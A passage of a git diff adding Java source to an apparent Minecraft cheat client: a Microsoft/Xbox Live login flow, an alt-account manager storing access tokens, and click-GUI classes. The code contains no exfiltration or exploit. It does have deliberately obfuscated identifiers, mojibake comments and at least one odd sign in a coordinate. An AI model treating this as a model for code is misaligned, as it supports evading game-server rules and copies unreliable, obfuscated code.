JsonObject paramObj = new JsonObject(); + JsonObject propertiesObj = new JsonObject(); + + propertiesObj.addProperty("SandboxId", "RETAIL"); + propertiesObj.add("UserTokens", parser.parse(gson.toJson(Collections.singletonList(xboxLiveToken)))); + paramObj.add("Properties", propertiesObj); + paramObj.addProperty("RelyingParty", "rp://api.minecraftservices.com/"); + paramObj.addProperty("TokenType", "JWT"); + + JsonObject jsonObject; + try { + jsonObject = parser.parse( + post( + "https://xsts.auth.xboxlive.com/xsts/authorize", + gson.toJson(paramObj), + Map.of("Content-Type", "application/json") + ) + ).getAsJsonObject(); + } catch (IOException e) { + throw new RuntimeException(e); + } + + return new String[]{ + jsonObject.get("Token").getAsString(), + jsonObject.get("DisplayClaims").getAsJsonObject().get("xui").getAsJsonArray().get(0).getAsJsonObject().get("uhs").getAsString() + }; + } + + @SuppressWarnings("SpellCheckingInspection") + private String getAccessToken(String xstsToken, String uhs) { + JsonObject paramObj = new JsonObject(); + paramObj.addProperty("identityToken", "XBL3.0 x=" + uhs + ";" + xstsToken); + + JsonObject jsonObject; + try { + jsonObject = parser.parse( + post( + "https://api.minecraftservices.com/authentication/login_with_xbox", + gson.toJson(paramObj), + Map.of( + "Content-Type", "application/json", + "Accept", "application/json" + ) + ) + ).getAsJsonObject(); + } catch (IOException e) { + throw new RuntimeException(e); + } + + return jsonObject.get("access_token").getAsString(); + } + + private String post(String urlString, String param, Map requestProperty) throws IOException { + URL url = new URL(urlString); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + + connection.setDoInput(true); + connection.setDoOutput(true); + connection.setUseCaches(false); + connection.setConnectTimeout(20000); + connection.setReadTimeout(20000); + connection.setRequestMethod("POST"); + + for (Map.Entry entry : requestProperty.entrySet()) { + connection.setRequestProperty(entry.getKey(), entry.getValue()); + } + + OutputStream outputStream = connection.getOutputStream(); + outputStream.write(param.getBytes(StandardCharsets.UTF_8)); + outputStream.flush(); + outputStream.close(); + + StringBuilder readText = new StringBuilder(); + InputStream inputStream = connection.getInputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = inputStream.read(buffer)) != -1) { + readText.append(new String(buffer, 0, len, StandardCharsets.UTF_8)); + } + inputStream.close(); + + connection.disconnect(); + + return readText.toString(); + } + + @SuppressWarnings("SameParameterValue") + private String get(String urlString, Map requestProperty) throws IOException { + URL url = new URL(urlString); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + + connection.setDoInput(true); + connection.setRequestMethod("GET"); + + connection.setConnectTimeout(20000); + connection.setReadTimeout(20000); + + for (Map.Entry entry : requestProperty.entrySet()) { + connection.setRequestProperty(entry.getKey(), entry.getValue()); + } + + StringBuilder readText = new StringBuilder(); + InputStream inputStream = connection.getInputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = inputStream.read(buffer)) != -1) { + readText.append(new String(buffer, 0, len, StandardCharsets.UTF_8)); + } + inputStream.close(); + + connection.disconnect(); + + return readText.toString(); + } + + @Override + public void close() { + if (httpServer != null) { + httpServer.stop(0); + } + } +} diff --git a/src/info/sigmaclient/sigma/gui/altmanager/MicrosoftLoginHelper.java b/src/info/sigmaclient/sigma/gui/altmanager/MicrosoftLoginHelper.java new file mode 100644 index 00000000..c8f16ab1 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/altmanager/MicrosoftLoginHelper.java @@ -0,0 +1,58 @@ +package info.sigmaclient.sigma.gui.altmanager; + +import info.sigmaclient.sigma.config.alts.Alt; +import info.sigmaclient.sigma.config.alts.AltConfig; +import info.sigmaclient.sigma.gui.mainmenu.SigmaGuiMainMenu; +import net.minecraft.client.Minecraft; +import net.minecraft.util.Session; +import org.apache.commons.io.IOUtils; + +public final class MicrosoftLoginHelper { + private volatile MicrosoftLogin microsoftLogin; + public boolean closed = false; + public boolean failed = false; + + public MicrosoftLoginHelper() { + final Thread thread = new Thread("MicrosoftLogin Thread") { + @Override + public void run() { + try { + microsoftLogin = new MicrosoftLogin(); + + while (!closed) { + if (microsoftLogin.isLogged()) { + IOUtils.closeQuietly(microsoftLogin); + + closed = true; + + final Minecraft mc = Minecraft.getInstance(); + mc.session = new Session(microsoftLogin.getUserName(), microsoftLogin.getUuid(), microsoftLogin.getAccessToken(), "Mojang"); +// mc.displayGuiScreen(new SigmaGuiMainMenu()); + Alt a = new Alt(mc.session.getUsername(), mc.session.getPlayerID(), mc.session.getToken()); + AltConfig.Instance.alts.add(a); + JelloAltManager.select = a; + break; + } + } + } catch (Throwable e) { + closed = true; + failed = true; + + e.printStackTrace(); + + IOUtils.closeQuietly(microsoftLogin); + } + } + }; + + thread.setDaemon(true); + thread.start(); + } + + public void close() { + if (microsoftLogin != null && !closed) { + microsoftLogin.close(); + closed = true; + } + } +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/JelloClickGui.java b/src/info/sigmaclient/sigma/gui/clickgui/JelloClickGui.java new file mode 100644 index 00000000..650a1f02 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/JelloClickGui.java @@ -0,0 +1,389 @@ +package info.sigmaclient.sigma.gui.clickgui; + +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import info.sigmaclient.sigma.gui.clickgui.config.ConfigManagerGUI; +import info.sigmaclient.sigma.sigma5.utils.BrainFreezeParticles; +import info.sigmaclient.sigma.sigma5.utils.Sigma5AnimationUtil; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.modules.Category; +import info.sigmaclient.sigma.modules.Module; +import info.sigmaclient.sigma.modules.gui.BrainFreeze; +import info.sigmaclient.sigma.modules.gui.Shader; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.anims.PartialTicksAnim; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import info.sigmaclient.sigma.gui.clickgui.musicplayer.JelloMusicPlayer; +import info.sigmaclient.sigma.gui.clickgui.simple.JelloModuleShower; +import info.sigmaclient.sigma.gui.clickgui.simple.JelloSubUI; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.util.text.StringTextComponent; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.util.ArrayList; +import java.util.List; + +import static info.sigmaclient.sigma.modules.Module.mc; +import top.fl0wowp4rty.phantomshield.annotations.Native; + + +public class JelloClickGui extends Screen { + public BrainFreezeParticles particleManager = new BrainFreezeParticles("brainFreeze"); + public ConfigManagerGUI configManagerGUI = new ConfigManagerGUI(); + public List dropGUIS = new ArrayList<>(); + public JelloMusicPlayer musicPlayer = new JelloMusicPlayer(); + public Sigma5AnimationUtil joinAnim = new Sigma5AnimationUtil(450, 125); + public Sigma5AnimationUtil moduleSelectAnim; + public Sigma5AnimationUtil moduleSelectAnim2; + public static JelloModuleShower currentModule = null; + public static PartialTicksAnim leave = new PartialTicksAnim(1.8f); + int cacheMouseX, cacheMouseY; + public boolean startLeaving; // always 0 - 1 + public JelloClickGui(){ + super(new StringTextComponent("JelloClickGUI")); + // åˆå§‹åŒ– + for(Category category : Category.values()){ + List a = SigmaNG.getSigmaNG().moduleManager.getModulesInType(category); + JelloSubUI dropGUI = new JelloSubUI(a, category); + dropGUIS.add(dropGUI); + } + float dx = 10, dy = 10; + int stage = 0; + for(JelloSubUI subUI : dropGUIS){ + subUI.x = dx; + subUI.y = dy; + dx += 105; + stage ++; + if(stage == 4){ + dx = 10; + dy += 165; + } + } + moduleSelectAnim2 = new Sigma5AnimationUtil(200, 120); + moduleSelectAnim = new Sigma5AnimationUtil(240, 200); +// moduleSelectAnim.setValue(0); + joinAnim.reset(); + startLeaving = false; + } + public boolean mouseScrolled(double mouseX, double mouseY, double delta) + { + configManagerGUI.setScroll(mouseX, mouseY, delta); + // 滚动 + for(JelloSubUI subUI : dropGUIS){ + subUI.scrollMouse(cacheMouseX, cacheMouseY, delta); + } + if(currentModule != null){ + currentModule.scrollMouse(cacheMouseX, cacheMouseY, delta); + } + if(delta != 0){ + musicPlayer.handleMouse(delta > 0 ? 10 : -10, cacheMouseX, cacheMouseY); + } + return super.mouseScrolled(mouseX, mouseY, delta); + } + + boolean init = false; + @Override + public void initGui() { + for (Module module : SigmaNG.getSigmaNG().moduleManager.modules) { + module.hove = false; + } + musicPlayer.init(); + musicPlayer.searchBar.setFocused2(false); + joinAnim.reset(); + currentModule = null; + startLeaving = false; + joinAnim = new Sigma5AnimationUtil(450, 125); + leave.setValue(1.0f); + configManagerGUI.show = false; + configManagerGUI.showAdd = false; + configManagerGUI.reset(); + init = true; + super.initGui(); + } + + @Override + public void tick() { + // 进场 +// if(joinAnim.getScale() != 1){ +// joinAnim.anim(11, false); +// } + + if(currentModule != null) { + currentModule.renderAnim(); + } + if(currentModule != null) { + currentModule.animTick(cacheMouseX, cacheMouseY); + } + // 先动画 +// if(currentModule != null && !currentModule.close) { +// // å‘åŽ +// if (moduleSelectAnim.getValue() != 10) { +// moduleSelectAnim.interpolate(10, 4); //0 - 100 +// } +// }else{ +// // å‘å‰ +// if(moduleSelectAnim.getValue() != 0) { +// moduleSelectAnim.interpolate(0, 4); +// } +// } + for(JelloSubUI subUI : dropGUIS){ + subUI.ticks(); + } + if(currentModule != null) { + // å®Œæˆ +// if (moduleSelectAnim.getAnim() == 0) { +// currentModule = null; +// } + } + musicPlayer.ticks(cacheMouseX, cacheMouseY); + super.tick(); + } + + public float getAnimation(float f, float f2) { + if (joinAnim.isAnim != Sigma5AnimationUtil.AnimState.SLEEPING) { + return (float)(Math.pow(2.0, -10.0f * f) * Math.sin((double)(f - f2 / 4.0f) * (Math.PI * 2) / (double)f2) + 1.0); + } + return 牰䩜躚㢸錌êˆ(f, 0.0f, 1.0f, 1.0f); + } + public static float 牰䩜躚㢸錌êˆ(float n, final float n2, final float n3, final float n4) { + return -n3 * (n /= n4) * (n - 2.0f) + n2; + } + public static float 䩉罡쟗붃괠㨳(float n, final float n2, final float n3, final float n4) { + final float n5 = 1.70158f; + return n3 * ((n = n / n4 - 1.0f) * n * ((n5 + 1.0f) * n + n5) + 1.0f) + n2; + } + public static float 陂瀳瀳疂쿨뵯(float n, final float n2, final float n3, final float n4) { + n /= n4; + return n3 * n * n * n + n2; + } + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + startLeaving = mc.currentScreen == null; + joinAnim.animTo(!startLeaving ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + float f2 = getAnimation(joinAnim.getAnim(), 1f); + float f8 = joinAnim.getAnim(); + f2 = 1.5f - f2 * 0.5f; + float f3 = f2; +// KawaseBlur.renderBlurFull(Math.min(1.0f, joinAnim.getAnim() * 4.0f)); + if(joinAnim.getAnim() != 1) + Shader.clickGUIIter = (int) (Math.min(1.0f, joinAnim.getAnim() * 4.0f) * 20); + else + Shader.clickGUIIter = 20; +// stopShader(); +// float f6 = 䩉罡쟗붃괠㨳(joinAnim.getAnim(), 0.0f, 1.0f, 1.0f); +// if (this.ኞ훔ç«ã–æ­.핇樽랾쇼뗴.홵玑ࡅ뎫ಽ嶗() == 蛊퉧쬷湗좯.眓頉뼢牰玑) { +// f6 = 훔웎䢿刃쇼.陂瀳瀳疂쿨뵯(this.ኞ훔ç«ã–æ­.핇樽랾쇼뗴.æ­çœ“鱀陂áã  (), 0.0f, 1.0f, 1.0f); +// } + if(startLeaving) { +// float f5 = 1.0f; +// f5 -= joinAnim.getAnim() * 0.1f; +// f3 *= 1.0f + f6 * 0.2f; + } + + float outro_ = f3; +// leave.getValue(); + float moduleScale, alpha = 1; +// if(joinAnim.getScale() != 1) { + + if(f2 != 1) { +//// joinAnim.anim(10, false); +// double scale = 1 + (1 - f2) * 0.3 - 0.06; //1.3 - 1.0 +// /* 回溯*/ +// if (scale <= 0.97) scale = 0.97 + (0.97 - scale); + alpha = (float) (1 - Math.min(Math.max(f2 - 1, 0), 0.2) * 1.2 /* 0.0 - 1 */); + } + if(mc.currentScreen == null) { + alpha = (float) Math.min(1, Math.max((1.5 - outro_) * 2.1f, 0)); + } + float f4 = 0.2f * alpha; + if(startLeaving){ + Shader.clickGUIIter = (int) (alpha * 20); + } + GlStateManager.disableAlpha(); + GlStateManager.enableBlend(); + + RenderUtils.drawRect(0, 0, width, height, new Color(0, 0, 0, f4).getRGB()); + // ?? + JelloFontUtil.jelloFont20.drawString("", 0, 0, 0); + if(SigmaNG.getSigmaNG().moduleManager.getModule(BrainFreeze.class).enabled){ + particleManager.render(alpha); + } + cacheMouseX = mouseX; + cacheMouseY = mouseY; + + GL11.glPushMatrix(); + ScaledResolution sr = new ScaledResolution(mc); + // ?? + + if(f3 != 1){ +// joinAnim.anim(10, false); +// double scale = 1 + (1 - f2) * 0.3 - 0.06 /* 1.14 - 0.94 */; // 1.3 - 0.9 [+-0.03] +// /* 回溯*/ if(scale <= 0.97) scale = 0.97 + (0.97 - scale); // 0.0 - 0.03 [+] + GlStateManager.translate(sr.getScaledWidth() / 2f, sr.getScaledHeight() / 2f, 0); + GlStateManager.scale(f3, f3, 0); + GlStateManager.translate(-sr.getScaledWidth() / 2f, -sr.getScaledHeight() / 2f, 0); + } + moduleSelectAnim.animTo((currentModule != null && !currentModule.close) ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + moduleSelectAnim2.animTo((currentModule != null && !currentModule.close) ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + + + if(moduleSelectAnim2.getAnim() == 0 && currentModule != null && currentModule.close) + currentModule = null; + float f5 = 1.0f; + float f7 = 䩉罡쟗붃괠㨳(moduleSelectAnim.getAnim(), 0.0f, 1.0f, 1.0f); + if (this.moduleSelectAnim.isAnim == Sigma5AnimationUtil.AnimState.SLEEPING) { + f7 = 陂瀳瀳疂쿨뵯(moduleSelectAnim.getAnim(), 0.0f, 1.0f, 1.0f); + } + f5 -= f7 * 0.1f; + f3 *= 1.0f + f7 * 0.2f; + // 先动画 + if(currentModule != null && !currentModule.close) { + // å‘åŽ +// double scale = 0.93 + 0.05 * 0.25; +// if(moduleSelectAnim.getValue() != 10) { +// moduleScale = moduleSelectAnim.getValue() / 10; +// +// scale = (1.0 - moduleScale * 0.1); // 1 - 0.9 +// if(scale <= 0.95){ +// double a = 0.95 - scale; // 0 - 0.05 +// scale = 0.93 + a * 0.25; // 0.93 - 0.95 +// } // jello bounce +// +// } +// if (this.ኞ훔ç«ã–æ­ != null) { + // dd +// } + GlStateManager.translate(sr.getScaledWidth() / 2f, sr.getScaledHeight() / 2f, 0); + GlStateManager.scale(f5, f5, 0); + GlStateManager.translate(-sr.getScaledWidth() / 2f, -sr.getScaledHeight() / 2f, 0); + if(mc.currentScreen != null) + alpha = f5; + }else{ + if(f5 != 1) { + // å‘å‰ +// if(moduleSelectAnim.getValue() != 0) { +// moduleScale = (moduleSelectAnim.getValue() / 10); +// // scaled +// double scale = 0.93 + 0.05 * 0.25 + (1 - moduleScale) * (1 - 0.93 - 0.05 * 0.25); // 1 - 0.9 + GlStateManager.translate(sr.getScaledWidth() / 2f, sr.getScaledHeight() / 2f, 0); + GlStateManager.scale(f5, f5, 0); + GlStateManager.translate(-sr.getScaledWidth() / 2f, -sr.getScaledHeight() / 2f, 0); + if(mc.currentScreen != null) + alpha = f5; + } +// } + } + + // æ¯ä¸ª + for(JelloSubUI subUI : dropGUIS){ + subUI.render(mouseX, mouseY, partialTicks, alpha, f5); + } + // todo musicplayer + musicPlayer.drawPlayer(mouseX, mouseY, alpha); + GL11.glPopMatrix(); + configManagerGUI.render(alpha, mouseX, mouseY); + GL11.glPushMatrix(); + // 选择 + if(currentModule != null) { + float æ­çœ“鱀陂áã   = moduleSelectAnim2.getAnim(); + float n = 䩉罡쟗붃괠㨳(æ­çœ“鱀陂áã  , 0.0f, 1.0f, 1.0f); + if (currentModule.close) { + n = 牰䩜躚㢸錌êˆ(æ­çœ“鱀陂áã  , 0.0f, 1.0f, 1.0f); + } + // å®Œæˆ +// if (!currentModule.anim.isEnd()) { + float scales = 0.8f + n * 0.2f; + currentModule.drawPanel(mouseX, mouseY, partialTicks, æ­çœ“鱀陂áã  , scales); +// */ + } + GL11.glPopMatrix(); + super.drawScreen(mouseX, mouseY, partialTicks); + } + + @Override + public boolean isPauseScreen() { + return false; + } + + @Override + public boolean mouseClicked(double mouseX, double mouseY, int button) { + // 选择 + if(button == 0) + musicPlayer.isMouseDown = true; + if(currentModule != null){ + if(currentModule.close) return super.mouseClicked(mouseX, mouseY, button); + if(currentModule.clickPanel((int) mouseX, (int) mouseY)) { + return super.mouseClicked(mouseX, mouseY, button); + }else{ + currentModule.close(); + return super.mouseClicked(mouseX, mouseY, button); + } + } + if(configManagerGUI.click(mouseX, mouseY, button)){ + return false; + } + // todo musicplayer + if(musicPlayer.clickPanel((int) mouseX, (int) mouseY, button)){ + return super.mouseClicked(mouseX, mouseY, button); + } + for(JelloSubUI subUI : dropGUIS){ + if(subUI.clicked((int) mouseX, (int) mouseY, button)){ + return super.mouseClicked(mouseX, mouseY, button); + } + } + return super.mouseClicked(mouseX, mouseY, button); + } + + @Override + public boolean keyReleased(int keyCode, int scanCode, int modifiers) { + if(musicPlayer.searchBar != null) + musicPlayer.searchBar.keyReleased(keyCode, scanCode, modifiers); + return super.keyReleased(keyCode, scanCode, modifiers); + } + + @Override + public boolean keyPressed(int keyCode, int scanCode, int modifiers) { + configManagerGUI.keyPress(keyCode, scanCode, modifiers); + if(musicPlayer.searchBar != null) + musicPlayer.searchBar.keyPressed(keyCode, scanCode, modifiers); + return super.keyPressed(keyCode, scanCode, modifiers); + } + + @Override + public boolean charTyped(char codePoint, int modifiers) { + configManagerGUI.typeKet(codePoint, modifiers); + if(musicPlayer.searchBar != null) + musicPlayer.searchBar.charTyped(codePoint, modifiers); + return super.charTyped(codePoint, modifiers); + } + + @Override + public boolean mouseReleased(double mouseX, double mouseY, int button) { + musicPlayer.isMouseDown = false; + // todo musicplayer + musicPlayer.releasePanel((int) mouseX, (int) mouseY); + for(JelloSubUI subUI : dropGUIS){ + subUI.release(mouseX, mouseY, button); // stop drag + } + if(currentModule != null){ + currentModule.release(0, 0, (int) mouseX, (int) mouseY); + } + return super.mouseReleased(mouseX, mouseY, button); + } + + @Override + public void onGuiClosed() { + for (Module module : SigmaNG.getSigmaNG().moduleManager.modules) { + module.hove = false; + } + new Thread(()-> SigmaNG.SigmaNG.configManager.saveDefaultConfigWithoutAlt()).start(); + currentModule = null; +// moduleSelectAnim.setValue(0); +// Shader.clickGUIIter = 0; + startLeaving = true; +// startLeaving = leaveAnimAlpha.getValue() != 0; +// leaveAnim.setValue(10); +// leaveAnimAlpha.setValue(10); + } +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/buttons/BooleanButton.java b/src/info/sigmaclient/sigma/gui/clickgui/buttons/BooleanButton.java new file mode 100644 index 00000000..d1976af7 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/buttons/BooleanButton.java @@ -0,0 +1,67 @@ +package info.sigmaclient.sigma.gui.clickgui.buttons; + +import info.sigmaclient.sigma.config.values.BooleanValue; +import info.sigmaclient.sigma.utils.key.ClickUtils; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.anims.PartialTicksAnim; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; + +import top.fl0wowp4rty.phantomshield.annotations.Native; +import java.awt.*; + +public class BooleanButton extends Button { + public BooleanValue value; + public PartialTicksAnim enableAnim; + boolean click = false; + public BooleanButton(BooleanValue value){ + this.value = value; + enableAnim = new PartialTicksAnim(value.isEnable() ? 10 : 0); + } + + @Override + public void animTick(int x, int y, int mx, int my) + { + enableAnim.interpolate(value.isEnable() ? 10 : 0, 10.0); + super.animTick(x, y, mx, my); + } + + @Override + public void drawButton(int x, int y, int mx, int my, float pticks, float alpha) { + int intalpha = (int)(alpha * 255); + int endX = x + 200 + 20; + JelloFontUtil.jelloFont25.drawString(value.name, x, y + 1, new Color(0, 0, 0, intalpha).getRGB()); + if(!ClickUtils.isClickableWithRect(endX - 10 - 2, y - 1, 31 / 2f, 31 / 2f, mx, my)){ + click = false; + } + float drak = click ? 0.9f:1f; + float perc = enableAnim.getValue() / 10f * alpha; + drak *= alpha; + RenderUtils.drawTextureLocation(endX - 10 - 2, y - 1, 31 / 2f, 31 / 2f, "clickgui/disable", new Color(drak,drak,drak,alpha)); + if(enableAnim.getValue() != 0) { + RenderUtils.drawTextureLocation(endX - 10 - 2, y - 1, 31 / 2f, 31 / 2f, "clickgui/enable", new Color(drak, drak, drak, perc)); + } + super.drawButton(x, y, mx, my, pticks, alpha); + } + public boolean isHidden(){ + return value.isHidden(); + } + + @Override + public void release(int x, int y, int mx, int my) { + int endX = x + 200 + 20; + if(ClickUtils.isClickableWithRect(endX - 10 - 2, y - 1, 31 / 2f, 31 / 2f, mx, my) && click){ + value.setValue(!value.getValue()); + click = false; + } + } + + @Override + public boolean clickButton(int x, int y, int mx, int my) { + int endX = x + 200 + 20; + if(ClickUtils.isClickableWithRect(endX - 10 - 2, y - 1, 31 / 2f, 31 / 2f, mx, my)){ + click = true; + return true; + } + return super.clickButton(x, y, mx, my); + } +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/buttons/Button.java b/src/info/sigmaclient/sigma/gui/clickgui/buttons/Button.java new file mode 100644 index 00000000..edbd8a70 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/buttons/Button.java @@ -0,0 +1,34 @@ +package info.sigmaclient.sigma.gui.clickgui.buttons; +import top.fl0wowp4rty.phantomshield.annotations.Native; + + +public class Button { + public boolean isClicked = false; + public int addY = 0; + public void clicked(){ + isClicked = true; + } + public boolean isHidden(){ + return false; + } + public boolean isCancelClick(int x, int y, int mx, int my){ + return false; + } + public void markDraw(int x, int y, int mx, int my, float pticks, float alpha){ + + } + public void animTick(int x, int y, int mx, int my){ + + } + public void drawButton(int x, int y, int mx, int my, float pticks, float alpha){ + + } + public void release(int x, int y, int mx, int my){ + + } + + public boolean clickButton(int x, int y, int mx, int my){ + return false; + } + +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/buttons/ColorButton.java b/src/info/sigmaclient/sigma/gui/clickgui/buttons/ColorButton.java new file mode 100644 index 00000000..44f7f630 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/buttons/ColorButton.java @@ -0,0 +1,145 @@ +package info.sigmaclient.sigma.gui.clickgui.buttons; + +import info.sigmaclient.sigma.config.values.ColorValue; +import info.sigmaclient.sigma.utils.key.ClickUtils; +import info.sigmaclient.sigma.utils.render.ColorUtils; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; + +import java.awt.*; + +import static info.sigmaclient.sigma.sigma5.utils.SigmaRenderUtils.牰蓳躚唟æ‰ç’§; +import top.fl0wowp4rty.phantomshield.annotations.Native; + + +public class ColorButton extends Button { + public ColorValue value; + boolean dragging = false; + boolean dragging1 = false; + public ColorButton(ColorValue value){ + this.value = value; + addY = (int) (183 / 2f) + 1 - 30; + } + public static float[] rgbToHsv(int[] rgb) { + //切割rgb数组 + int R = rgb[0]; + int G = rgb[1]; + int B = rgb[2]; + //å…¬å¼è¿ç®— /255 + float R_1 = R / 255f; + float G_1 = G / 255f; + float B_1 = B / 255f; + //é‡æ–°æ‹¼æŽ¥è¿ç®—用数组 + float[] all = {R_1, G_1, B_1}; + float max = all[0]; + float min = all[0]; + //循环查找最大值和最å°å€¼ + for (float v : all) { + if (max <= v) { + max = v; + } + if (min >= v) { + min = v; + } + } + float C_max = max; + float C_min = min; + //计算差值 + float diff = C_max - C_min; + float hue = 0f; + //判断情况计算色调H + if (diff == 0f) { + hue = 0f; + } else { + if (C_max == R_1) { + hue = (((G_1 - B_1) / diff) % 6) * 60f; + } + if (C_max == G_1) { + hue = (((B_1 - R_1) / diff) + 2f) * 60f; + } + if (C_max == B_1) { + hue = (((R_1 - G_1) / diff) + 4f) * 60f; + } + } + //计算饱和度S + float saturation; + if (C_max == 0f) { + saturation = 0f; + } else { + saturation = diff / C_max; + } + //计算明度V + return new float[]{hue, saturation, C_max}; + } + + @Override + public void drawButton(int x, int y, int mx, int my, float pticks, float alpha) { + int intalpha = (int)(alpha * 255); + int offX = 100; + JelloFontUtil.jelloFont25.drawString(value.name, x, y + 1, new Color(0, 0, 0, intalpha).getRGB()); + + RenderUtils.drawRect(x + 10 + offX + 16 - 0.5f, y + 1 - 0.5f, x + 10 + offX + 16 + 183 / 2f + 0.5f, y + 1 + 77 / 2f + 0.5f, new Color(0.3f, 0.3f, 0.3f, alpha * 0.7f).getRGB()); + RenderUtils.drawTextureLocation(x + 10 + offX + 16, y + 1, 183 / 2f, 77 / 2f, + "clickgui/color", + new Color(1,1,1,alpha)); + + RenderUtils.drawRect(x + 10 + offX + 16 - 0.5f, y + 1 + 77 / 2f + 4 - 0.5f, x + 10 + offX + 16 + 100 / 2f + 0.5f, y + 1 + 77 / 2f + 4 + 23 / 2f + 0.5f, new Color(0.3f, 0.3f, 0.3f, alpha * 0.7f).getRGB()); + RenderUtils.drawTextureLocation(x + 10 + offX + 16, y + 1 + 77 / 2f + 4, 100 / 2f, 23 / 2f, + "clickgui/color2", + new Color(1,1,1,alpha)); + + 牰蓳躚唟æ‰ç’§(x + 10 + 183 / 2f + offX + 5, y + 1 + 48, 20,ColorUtils.reAlpha(new Color(0.3f, 0.3f, 0.3f), alpha * 0.7f).getRGB()); + 牰蓳躚唟æ‰ç’§(x + 10 + 183 / 2f + offX + 5, y + 1 + 48, 19,ColorUtils.reAlpha(value.getValue(), alpha).getRGB()); + float[] rgbToHsv = rgbToHsv(new int[]{value.getColor().getRed(), value.getColor().getGreen(), value.getColor().getBlue()}); + if(x != 0 && y != 0) { + if (dragging) { + float cx = (mx - (x + 10 + offX + 16)) / (183 / 2f); + cx = Math.min(1, cx); + cx = Math.max(0, cx); + float cy = (my - (y + 1)) / (77 / 2f); + cy = Math.min(1, cy); + cy = Math.max(0, cy); + rgbToHsv[0] = cx; + rgbToHsv[1] = 1 - cy; + value.setValue(Color.HSBtoRGB(rgbToHsv[0], rgbToHsv[1], rgbToHsv[2])); + } else { + if (dragging1) { + float cx = (mx - (x + 10 + offX + 16)) / (100 / 2f); + cx = Math.min(1, cx); + cx = Math.max(0, cx); + rgbToHsv[2] = 1 - cx; + value.setValue(Color.HSBtoRGB(rgbToHsv[0], rgbToHsv[1], rgbToHsv[2])); + } + } + } + float cx = rgbToHsv[0] / 360f * (183 / 2f); + float cy = (1 - rgbToHsv[1]) * (77 / 2f); + 牰蓳躚唟æ‰ç’§(x + 10 + offX + 16 + cx,- y + 1 + cy, 20,ColorUtils.reAlpha(new Color(0.1f, 0.1f, 0.1f), alpha * 0.7f).getRGB()); + 牰蓳躚唟æ‰ç’§(x + 10 + offX + 16 + cx, y + 1 + cy, 19,ColorUtils.reAlpha(new Color(0.7f, 0.7f, 0.7f), alpha).getRGB()); + + addY = (int) (183 / 2f) + 1 - 30; + super.drawButton(x, y, mx, my, pticks, alpha); + } + public boolean isHidden(){ + return value.isHidden(); + } + + @Override + public void release(int x, int y, int mx, int my) { + dragging = false; + dragging1 = false; + } + + @Override + public boolean clickButton(int x, int y, int mx, int my) { + if(ClickUtils.isClickableWithRect(x + 10 + 100 + 16, y + 1, 183 / 2f, 77 / 2f, mx, my)){ + dragging = !dragging; + return true; + } + if(ClickUtils.isClickableWithRect(x + 10 + 100 + 16, y + 1 + 77 / 2f + 4, 100 / 2f, 23 / 2f, mx, my)){ + dragging1 = !dragging1; + return true; + } + return super.clickButton(x, y, mx, my); + } +} diff --git a/src/info/sigmaclient/sigma/gui/clickgui/buttons/ModeButton.java b/src/info/sigmaclient/sigma/gui/clickgui/buttons/ModeButton.java new file mode 100644 index 00000000..6fa092fb --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/buttons/ModeButton.java @@ -0,0 +1,174 @@ +package info.sigmaclient.sigma.gui.clickgui.buttons; + +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.config.values.ModeValue; +import info.sigmaclient.sigma.utils.key.ClickUtils; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.StencilUtil; +import info.sigmaclient.sigma.utils.render.anims.PartialTicksAnim; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import top.fl0wowp4rty.phantomshield.annotations.Native; + + +public class ModeButton extends Button { + public ModeValue value; + PartialTicksAnim downAnim; + boolean click, dragg; + public ModeButton(ModeValue value){ + downAnim = new PartialTicksAnim(0); + this.value = value; + for(int i = 0 ; i < this.value.values.length; i++){ + this.value.hoverAnims[i] = new PartialTicksAnim(0); + } + } + + @Override + public void animTick(int x, int y, int mx, int my) { + int index = 0; + float yd = y + 14; + int endX = x + 220; + float width = 14; + for (String type : value.values) { + if (ClickUtils.isClickable(endX - 10 - 2 - 40 - 6 - 5 + 2, yd + 1, endX - 10 - 2 + 7 + 5 - 2, yd + width + 1, mx, my)) { + value.hoverAnims[index].interpolate(10, 5); + } else { + value.hoverAnims[index].interpolate(0, 5); + } + yd += width; + index++; + } + downAnim.interpolate(dragg ? 10 : 0, 5); + super.animTick(x, y, mx, my); + } + + @Override + public void drawButton(int x, int y, int mx, int my, float pticks, float alpha) { + int intalpha = (int)(alpha * 255); + int endX = x + 220; + JelloFontUtil.jelloFont25.drawNoBSString(value.name, x, y, new Color(0, 0, 0, intalpha).getRGB()); + boolean hover_ = ClickUtils.isClickable(endX - 10 - 2 - 40 - 6,y+4,endX 